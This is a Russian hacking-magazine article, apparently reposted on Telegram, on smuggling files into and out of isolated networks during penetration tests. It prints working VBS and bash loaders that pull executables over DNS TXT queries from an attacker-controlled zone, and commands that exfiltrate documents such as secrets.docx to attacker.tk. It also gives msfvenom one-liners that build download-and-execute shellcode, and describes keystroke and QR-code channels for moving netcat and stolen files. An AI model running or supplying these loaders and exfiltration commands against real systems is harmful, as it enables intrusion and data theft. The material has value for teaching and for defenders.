Хакер - Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах

Хакер - Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах

hacker_frei

https://t.me/hacker_frei

s0i37

Содержание статьи

  • Инфильтрация через DNS
  • Эксфильтрация через DNS
  • DNS-шелл-код
  • Инфильтрация через нажатия клавиш
  • Эксфильтрация через QR
  • Нажатия клавиш + QR = TCP

Пред­ставь, что тебе уда­лось про­бить сетевой периметр и получить дос­туп к сер­веру. Сер­вер вхо­дит во внут­реннюю сеть ком­пании, а это зна­чит, что ты можешь про­ник­нуть и туда. Но, к сожале­нию, ском­про­мети­рован­ный узел находит­ся в DMZ и не име­ет выхода в интернет. Смо­жем ли мы проб­рать­ся внутрь теперь?

В боль­шинс­тве слу­чаев внут­ренние сети никак не огра­ничи­вают раз­решение DNS-имен про­изволь­ных зон. А пос­коль­ку при­рода DNS рас­пре­делен­ная, тот или иной DNS-зап­рос может при­ходить точ­но на под­кон­троль­ный сер­вер зло­умыш­ленни­ка. В ито­ге мы получим пол­ноцен­ный канал переда­чи дан­ных.

В наши дни сущес­тву­ют замеча­тель­ные решения для орга­низа­ции целых VPN-тун­нелей через DNS, такие как iodine. При этом, даже если ты не име­ешь прав root, ты всег­да можешь вос­поль­зовать­ся dnscat или dns2tcp, который проб­росит про­изволь­ное соеди­нение, ска­жем, на прок­си. И в том и в дру­гом слу­чае ты смо­жешь пре­одо­леть огра­ниче­ния фай­рво­лов и начать прод­вижение по внут­ренней сети.

Но оста­ется нерешен­ным глав­ный воп­рос: как передать эти прог­раммы в ском­про­мети­рован­ную сеть? В этом нам поможет на­бор моих скрип­тов для инфиль­тра­ции и эксфиль­тра­ции дан­ных на все слу­чаи жиз­ни. Глав­ная их осо­бен­ность в пол­ном отсутс­твии тре­бова­ний к адми­нис­тра­тив­ным при­виле­гиям и при­цел на перено­симость — ведь на иссле­дуемом сер­вере ока­жет­ся либо Windows, либо Linux.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ DNS

DNS — наш незаме­нимый помощ­ник. С помощью сле­дующе­го кода мы можем ска­чать любой файл с исполь­зовани­ем DNS на любую Windows:

dns_download.vbs

On Error Resume Next

Set objShell = CreateObject("WScript.Shell")

Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe")

For d = 1 To 1190

pos = 0

While pos = 0

Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk")

res = exec.Stdout.ReadAll()

pos = inStr(1,res,"?")

txt = Mid(res,pos+1,253)

Wscript.Echo d & " " & txt

Wend

For b = 0 To Len(txt)/2-1

writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))

Next

Next

А вот скрипт для Linux:

dns_download.sh

#!/bin/bash

for i in `seq $2`

do

answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4`

echo ${answ:2:-1} | xxd -r -p - >> $3

echo $i ${answ:2:-1}

done

Язык VBS обес­печива­ет нам стоп­роцен­тную перено­симость меж­ду все­ми вер­сиями Windows (в отли­чие от PowerShell). Под Linux, как всег­да, исполь­зуем bash.

На сто­роне ском­про­мети­рован­ного сер­вера скрип­ты запус­кают­ся сле­дующим обра­зом.

Ва­риант для Windows:

cscript.exe dns_download.vbs

Для Linux:

./dns_download.sh attacker.tk 1190 /tmp/dnscat

На сто­роне ата­кующе­го — так:

sudo ./dns_upload.py --udp --file dnscat.exe

Нап­ример, на скрин­шотах ниже прог­рамма dns2tcpc.exe переда­ется через DNS с NS-сер­вера под­кон­троль­ной мне DNS-зоны на victim с исполь­зовани­ем чис­того VBS.

Про­изволь­ные дан­ные будут про­ходить через TXT-записи в виде hexastring.

Да­лее мы можем раз­вивать DNS-тун­нелиро­вание уже с исполь­зовани­ем при­выч­ных инс­тру­мен­тов.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ DNS

Ана­логич­ным обра­зом мы можем и выг­ружать фай­лы с victim. На ата­кующей сто­роне это дела­ется так:

sudo ./dns_download.py --udp --file secrets.docx

На сто­роне жер­твы — так:

cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk

DNS-ШЕЛЛ-КОД

При экс­плу­ата­ции уяз­вимос­тей из интерне­та нуж­но пом­нить, что ата­куемая сис­тема, ско­рее все­го, находит­ся в DMZ, отку­да дос­тупа в интернет у нее может и не быть. Так что заряжать экс­пло­ит reverse_tcp шелл‑кодами ока­жет­ся бес­полез­ным заняти­ем. Шелл не откро­ется, и ты подума­ешь, что цель неуяз­вима, про­пат­чена или прос­то экс­пло­ит нерабо­чий. Хотя все дело в payload.

Мы можем внед­рить наш DNS-тран­спорт в любой шелл‑код, исполь­зуя dns_download_exec:

msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f raw -o dns_shellcode

msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f raw -o dns_shellcode

Та­кой шелл‑код в зависи­мос­ти от обсто­ятель­ств мож­но вста­вить в любой экс­пло­ит или инжектить сра­зу в память. Он не толь­ко ска­чива­ет по DNS, но еще и запус­кает при­нятый файл. Таким обра­зом, нап­ример, мы можем сра­зу передать dnscat либо же что‑то свое.

А теперь перей­дем к пивоту в реаль­но труд­ных обсто­ятель­ствах.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ НАЖАТИЯ КЛАВИШ

Что делать, если DNS у нас не резол­вит внеш­ние зоны? Такое тоже может слу­чить­ся.

Вне зависи­мос­ти от того, где ты ока­зал­ся, будь то реверс‑шелл, Telnet без воз­можнос­ти переда­чи фай­лов или, наконец RDP, на котором нет буфера обме­на, ты всег­да можешь «набить» любой файл, исполь­зуя отправ­ку нажати­ем кла­виш.

В Linux есть спе­циаль­ная коман­да xdotool, поз­воля­ющая передать текст про­изволь­ной дли­ны через прос­тые нажатия кла­виш. С помощью этой же ути­литы мы можем пред­варитель­но акти­виро­вать фокус на том или ином окне. И все­го это­го нам дос­таточ­но, что­бы передать содер­жимое любого фай­ла в любое окно. При­чем мы можем передать не толь­ко тек­сто­вый файл (какой‑то скрипт), но и бинар­ный (любую прог­рамму):

setxkbmap us

cat somescript.ps1 | ./text_send.sh

cat someprog.exe | base64 | ./text_send.sh

Что­бы исклю­чить оши­боч­ный набор тек­ста в том же тер­минале, скрипт будет ждать кли­ка мышью по тому окну, в котором тре­бует­ся ввес­ти текст. В при­мере, показан­ном на скрин­шотах ниже, мы успешно переда­ли на ата­куемый узел клас­сичес­кий netcat.exe.

Этот метод по ско­рос­ти схож с DNS и поз­волил за пят­надцать минут передать netcat.exe (57 Кбайт) без исполь­зования побоч­ных каналов, толь­ко прос­тым набором тек­ста. Это при­мер­но 125 байт/с, или 1 Мбайт за 2 ч. Это­го впол­не дос­таточ­но для переда­чи хакер­ско­го ПО за уме­рен­ное вре­мя.

Скрипт может ока­зать­ся полез­ным для авто­мати­зации дей­ствий где угод­но.

Нап­ример, всег­да мож­но исполь­зовать text_send.sh, что­бы авто­мати­зиро­вать набор длин­ных скрип­тов на изо­лиро­ван­ных victim, если буфер обме­на недос­тупен:

setxkbmap us

cat dns_download.bat | ./text_send.sh

Ес­ли вер­нуть­ся нем­ного назад, к теме с DNS, то написа­ние в блок­ноте кода пер­вично­го DNS-заг­рузчи­ка на victim мож­но было авто­мати­зиро­вать, прос­то прог­нав его код через text_send.sh на ата­кующей сто­роне.

Ана­логич­но можем «набить» и бинар­ник, закоди­рован­ный в Base64.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ QR

Ис­поль­зуя метод с нажати­ями кла­виш, мы можем заг­рузить любой файл на машину жер­твы. Но как орга­низо­вать переда­чу дан­ных в обратном нап­равле­нии? Есть воз­можность выкачи­вать фай­лы с victim через QR-коды. К счастью, в Linux (attacker-side) рас­позна­вание мож­но авто­мати­зиро­вать: graphicsmagick сни­мает скрин­шот экра­на, а прог­рамма из zbar-tools рас­позна­ёт код.

А вот для генера­ции QR-кодов на victim-side была раз­работа­на прос­тая кросс‑плат­формен­ная прог­рам­мка, исполь­зующая биб­лиоте­ку QR-Code-generator. Код биб­лиоте­ки zero-depends, так что он может быть кросс‑ком­пилиро­ван даже под дру­гие архи­тек­туры про­цес­соров (это при­годит­ся, ког­да про­ник­новение выпол­няет­ся через устрой­ства наподо­бие IP-камер). Для ком­пиляции и сбор­ки ее под Windows и Linux выпол­няем сле­дующие дей­ствия.

На сто­роне жер­твы (Windows):

cl /c lib\qrcodegen.c

cl /c qr_upload.c

link /out:qr_upload.exe qr_upload.obj qrcodegen.obj

"change your color scheme to black on white"

chcp 866

set TIMEOUT=1000

set SIZE=100

qr_upload.exe c:\path\to\secret.bin

На сто­роне жер­твы (Linux):

gcc -c lib/qrcodegen.c

gcc -c qr_upload.c

gcc qr_upload.c qrcodegen.o -o qr_upload

setterm -background white

setterm -foreground black

TIMEOUT=1000 SIZE=100 ./qr_upload /path/to/secret.bin

При генера­ции QR-кодов мы зада­ем через перемен­ные сре­ды количес­тво бай­тов и про­дол­житель­ность демонс­тра­ции кар­тинки в мил­лисекун­дах. Тут важ­но тон­ко нас­тро­ить про­цесс, что­бы при­нима­ющая сто­рона успе­вала рас­позна­вать дан­ные. А на при­нима­ющей сто­роне (то есть на ата­кующей машине) тем вре­менем все прос­то:

./qr_download.py

Скрипт вна­чале поп­росит ткнуть кур­сором в окно, из которо­го нуж­но рас­позна­вать (нап­ример, RDP-кли­ент). Даль­ше весь про­цесс пол­ностью авто­мати­зиро­ван.

Что немало­важ­но, на victim QR-коды будут генери­ровать­ся пря­мо в кон­соль, и поль­зовать­ся GUI нам не понадо­бит­ся. Рекомен­дует­ся уста­новить клас­сичес­кую схе­му «чер­ное на белом» для более качес­твен­ного рас­позна­вания. На изоб­ражении ниже показан при­мер получе­ния про­изволь­ного фай­ла с изо­лиро­ван­ного хос­та.

QR-эксфиль­тра­ция показы­вает ско­рость, сопос­тавимую с DNS. Ско­рость нас­тра­ивает­ся самос­тоятель­но, в моем при­мере она сос­тавля­ла 100 байт/с. Так что, если ты рас­полага­ешь дос­таточ­ным запасом вре­мени, впол­не реаль­но выг­рузить доволь­но боль­шие объ­емы фай­лов.

НАЖАТИЯ КЛАВИШ + QR = TCP

Ме­тоды инфиль­тра­ции с keypress и эксфиль­тра­ции c QR-кодами пре­дос­тавля­ют воз­можность переда­вать дан­ные каж­дый в сво­ем нап­равле­нии. И ско­рос­ти впол­не может хва­тить, что­бы орга­низо­вать TCP-тун­нелиро­вание, которое поз­волит нам проб­росить соеди­нение на изо­лиро­ван­ный хост и начать ата­ковать узлы внут­ренних сетей.

Бе­зопас­ность уда­лен­ного рабоче­го мес­та сей­час осо­бен­но акту­аль­на. И даже если адми­нис­тра­торы зап­ретили буфер обме­на на RDP и решения вро­де rdp2tcp не сра­бота­ют либо ты про­бил­ся через Telnet, нес­пособ­ный к переда­че фай­лов, то всег­да есть выход — это метод с переда­чей дан­ных через QR/keypress. Его невоз­можно зап­ретить. Кро­ме того, опи­сан­ные здесь методы не пот­ребу­ют под­нимать при­виле­гии на машине жер­твы.

На­деюсь, эта статья про­демонс­три­рова­ла сис­темным адми­нис­тра­торам опас­ность резол­вов про­изволь­ных DNS-зон. К подоб­ным нас­трой­кам нуж­но про­являть повышен­ное вни­мание.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei





Report Page